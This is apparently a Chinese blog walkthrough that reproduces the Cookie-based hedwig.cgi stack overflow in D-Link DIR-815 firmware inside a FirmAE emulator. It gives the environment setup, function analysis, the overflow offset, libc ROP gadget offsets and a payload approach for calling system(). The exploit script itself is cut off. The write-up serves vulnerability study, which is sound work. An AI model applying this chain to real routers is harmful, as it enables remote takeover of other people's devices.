前置条件:
工具:
建议Ubuntu18.04及以上且是纯净版本
binwalk
sudo apt install binawlk
firmware-mod-kit
安装之前得先安装环境
Ubuntu18.04及前
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic autoconf
Ubuntu20.04及后
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3
环境配好后就可以安装firmware-mod-kit了
git clone https://github.com/rampageX/firmware-mod-kit.git
FirmAE
强烈建议拉项目前存个快照
拉项目
git clone --recursive https://github.com/pr0v3rbs/FirmAE
之后进入文件夹依次执行以下三个sh文件
1 | sudo ./download.sh |
常见问题
download.sh
download里的网站基本全在海外,所以常常出现没法全部拉下来的场面
我的建议是,要么走代理
要么就把sh文件里的网站复制下来在宿主机里的浏览器中下载,也就是亲力亲为一个个下,再复制粘贴到binaries
install.sh
跑之前给点建议:
1.如果你有qemu环境,就注释掉sh里的以下代码,否则很有可能将你的qemu环境弄得一团糟
1 | sudo apt-get install -y qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils |
2.网络问题是典中典,建议走代理
3.这玩意会给你安一个postgresql,小心环境紊乱
1 | sudo apt install -y postgresql |
综上:
如果你执行完它再重启Ubuntu后,失去了图形化界面,那就是没救了,回快照吧,环境崩了
使用仿真常见小问题
target is busy.
这玩意基本就是因为没有正常退出仿真导致的
查看挂载点
命令:mount | grep pathto/FirmAE/scratch/targetID/image
删掉挂载点
命令:sudo umount -f pathto/FirmAE/scratch/targetID/image
or sudo umount --lazy pathto/FirmAE/scratch/1/image(可以两个指令联用)
有时候这玩意会抽风,得尝试好几次,不知道啥原因
Address already in use
成因同上
删除占用端口
命令:先查看sudo lsof -i -P -n | grep LISTEN
后删除sudo kill -9 <PID>
IDA的mipsrop插件
旧一点的IDAPython的版本一般是python2版本,并且mipsrop.py脚本也是按照python2格式来写的,这就导致你如果IDAPython的版本高于3,就会有mipsrop.py脚本不适配,得一个个修改,甚至修改了还是运行不了,还好网上有大佬已经弄好适配python3版本的mipsrop.py了,但我自己搜的时候弄的好痛苦,基本都是介绍python2 的版本,很麻烦,所以我把该链接分享出来
[求助]IDA 无法安装mipsrop插件-求助问答-看雪-安全社区|安全招聘|kanxue.com
需要下载的zip包就在评论区里,往下滑很快的,经本人亲自尝试,可支持IDA8.3甚至是IDAPro9.0
解压后直接把以下文件丢到IDA根目录下的plugins即可

常见问题:NameError: name ‘mipsrop’ is not defined
解决方法
1 | import mipsrop |
常使用模块
寻找特定gadget
mipsrop.find("the asm you want to search")
主要针对栈相关的gadget
mipsrop.stackfinders()
知识点:
基础溢出
有点Pwn基础的上手会很快,简单解释下什么是溢出。一般都是由于缓冲区溢出等原因导致攻击者能够控制程序执行流,来执行恶意代码,达到攻击目的。在这就是对路由器进行挟持了。
常见的攻击方式有Shellcode和ROP
Shellcode
Shellcode的本质是机械码,攻击者通过精心构建的Shellcode,来执行恶意代码,最终达到攻击目的。一般的Shellcode由汇编辅助编写而成,所以常见的都是用汇编写Shellcode
ROP
ROP即返回导向编程。通过利用程序中各种细碎的代码段(也称为gadget如pop | ret)串成一段恶意代码,这段恶意代码有着控制寄存器、系统调用等功能,通过溢出劫持返回地址执行这段代码,达到攻击目的
HTTP协议
有web基础基本就可以跳了,简要介绍下
HTTP(即HyperText Transfer Protocol)是一种超文本传输协议,是Web上进行任何数据交换的基础,也是一种客户端-服务器协议.
它由请求和响应组成,而请求的各个部分分别是请求行、消息报头、请求正文。
请求行
Method Request-URI HTTP-Version CRLF
消息报头
包含若干字段,通常以 key: value 的格式表示,如
1 | Content-Length: 348 |
请求正文
HTTP请求正文是请求消息中可选的部分,通常用于在 POST、PUT 或其他需要传递数据的请求中,携带客户端向服务器发送的数据。它是位于请求头之后的实际数据内容。可由多种数据组成,如表单、二进制、JSON等,如
1 | POST /api/v1/user HTTP/1.1 |
Content-Type来判断请求正文的格式,JSON格式的内容则是请求正文
MIPS架构
寄存器
1 | zero -> 值始终为0 |
基础汇编
LOAD和STORE
1 | l==>LOAD |
指令格式
R型
opcode | first source res | second source res | destination res | offset | funct(这个参数不用了解,毕竟我们看的常常是汇编)
I型
opcode | source res | destination res | addr_offset
J型
opcode | target_addr
常见汇编
1 | add |
流水线指令集特性之一:分支延迟效应
流水线效应最常见的就是跳转指令(如jalr)导致的分支延迟效应,当它跳转指令填充好跳转地址但尚未跳转过去时,它会优先执行该跳转指令的下一条指令,如
1 | jalr $t9 |
在还未跳转到t9时,会执行addiu汇编,然后再进行跳转,可以理解为同时执行了两条指令
硬件下载地址:
https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
漏洞成因:

Cookie头的hedwig.cgi远程缓冲区溢出
漏洞分析:
我们先从固件包下手
binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin
获得以下文件

根据漏洞报告里说与hedwig.cgi和Cookie有关,我们从固件里提取出相关二进制文件,并就着Cookie进行寻找


在sess_get_uid函数里发现了利用,我们先在交叉引用中寻找与漏洞名有关的函数 发现在hedwigcgi_main函数中进行了调用,进入该函数看看做了什么
1 | int hedwigcgi_main() |
可以很明显看到漏洞点
1 | sess_get_uid(v4); |
string过大会导致栈溢出,而string由sobj_get_string这个函数提取v4的字符串所得,v4又由sess_get_uid进行了操作,那我们就要详细分析sess_get_uid
1 | int __fastcall sess_get_uid(int a1) |
总结就是该函数经过了一系列操作中,从 HTTP 请求的 Cookie 中解析键为 "uid" 的值,并将其存储到目标对象v4中,如果没有找到 "uid",则使用客户端的 IP 地址作为默认值,所以payload的格式很好确定
1 | 'Cookie':'uid='+ payload |
动态调试
启动仿真
path_to_FirmAE/run.sh <mode> <brand> path/to/firmware
mode是模式,brand是品牌,比如我是这样的
./run.sh -d dlink /home/dusk/firmware/DIR-815_REVA_FIRMWARE_v1.01/dir815_FW_101/DIR-815-FW-1.01b14_1.01b14.bin
等待一会儿后就会出现如下界面

我们先输入2,输入指令,获取服务进程
ps | grep "httpd"

其中2639就是我们的进程
我们再ctrl D并输入4起gdbserver,输入pid即可

为了方便我们调试gdbserver,要关闭地址随机化(实际上的固件的地址也是不随机的)
echo "0" >> /proc/sys/kernel/randomize_va_space
因为在gdb-muliarch调试远端gdbserver的时候是没有libc模块的,所以得在qemu里获取libc_base
cat /proc/server_pid/maps
测试溢出大小
需要用到pwntools,gdbserver,gdb-multiarch,FirmAE
在动调前我们需要写好两个脚本
第一个:建立预POST脚本
1 | from pwn import * |
第二个:gdb-multiarch脚本,可以随意命名
1 | set architecture mips #设置架构 |
命名好后启动如下命令即可开始调试
gdb-multiarch -x filename
好了,现在我们就可以尝试寻找溢出点了。我们用pwntools里提供的cyclic函数来定位溢出点

可以得到offset大约为1043(注意,是大约,并不一定完全准确,还需要自己微调),我们再调一次看看结果如何
cyclic(1043) + b'dusk'

与很好的结果,与测定结果相同,此时我们就已经劫持ra跳转地址了,那么我们还需要一些gadget辅助我们进行system函数调用
gadget思路
需要注意的是,sprintf有\x00截断,而system函数恰好以\x00结尾,这时候就需要用到我们的流水线效应了

我们可以让system-1,然后找一个跳转指令并且紧跟着add res,1的指令就可以使我们的system函数恢复,光回复不够,我们还需要调用,所以我们还得找一个gadget来使存储system函数的某s寄存器被赋值给t9然后通过jalr调用即可,所幸我们能在libc里找到,相对偏移如下


1 | 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 |
然后就是精心构造payload和需要执行的命令了
exp
1 | from pwn import * |
执行效果如下


完成复现